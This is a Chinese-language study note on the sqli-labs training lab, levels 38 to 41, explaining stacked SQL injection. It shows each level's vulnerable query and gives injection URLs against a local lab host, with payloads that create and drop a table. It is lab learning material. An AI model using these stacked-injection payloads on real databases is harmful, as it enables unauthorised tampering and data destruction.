sqli-labs闯关笔记-less38-53-堆叠注入
Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
less38
源代码sql语句如下:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
1、构造crow库表
http://127.0.0.1:8001/Less-38/?id=1' ; create table crow like users ; --+
执行后发现security库表多了一个crow。
2、删除库表。
http://127.0.0.1:8001/Less-38/?id=1' ; drop table crow; --+
less39
源代码sql语句如下:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
同less38,闭合符号不同,将38中的id='1'; 修改为id=1 ; 即可
less40
源代码sql语句如下:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
同less38,但是错误不回显,闭合符合为')。
less41
源代码sql语句如下:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
和40关相同,没有回显信息,但是不影响我们注入测试,而且id值没有经过包裹;
less42